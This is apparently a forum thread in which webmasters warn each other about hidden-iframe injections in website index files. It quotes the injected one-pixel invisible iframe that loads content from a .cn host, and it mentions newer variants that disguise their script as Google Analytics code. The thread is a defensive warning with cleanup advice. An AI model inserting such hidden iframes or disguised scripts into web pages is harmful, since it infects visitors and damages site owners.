Hello, just let you know that all my websites was infected by an iframe yesturday. In all my index files I have found this : <iframe src="http://mixante.cn/in.cgi?income52" width=1 height=1 style="visibility: hidden"></iframe> Look in the source code of your website for ".cn" they alos use other domains. This worm is very dangerous for webmasters because if you don’t react immediately you can be listed by Google as “This site can harm your computerâ€. If that happened it will ruin your traffic in a second. I have found this article about this worms. Cheers,
Have you questioned yourself as to why your pages got a javascript injected into them? There is a higher breach in your hosting chain The server has been breached.
That is an old malware, newer ones are coding their javascript and getting similar to google analytics format, so it can disguise better. Contact your hosting company and tell them they could be infected.
I faced it in the past. Using Google's webmaster central, luckily I came to know about this in a day's time and cleaned it up. Add your sites to Google webmaster central to get alerts about such items on your site.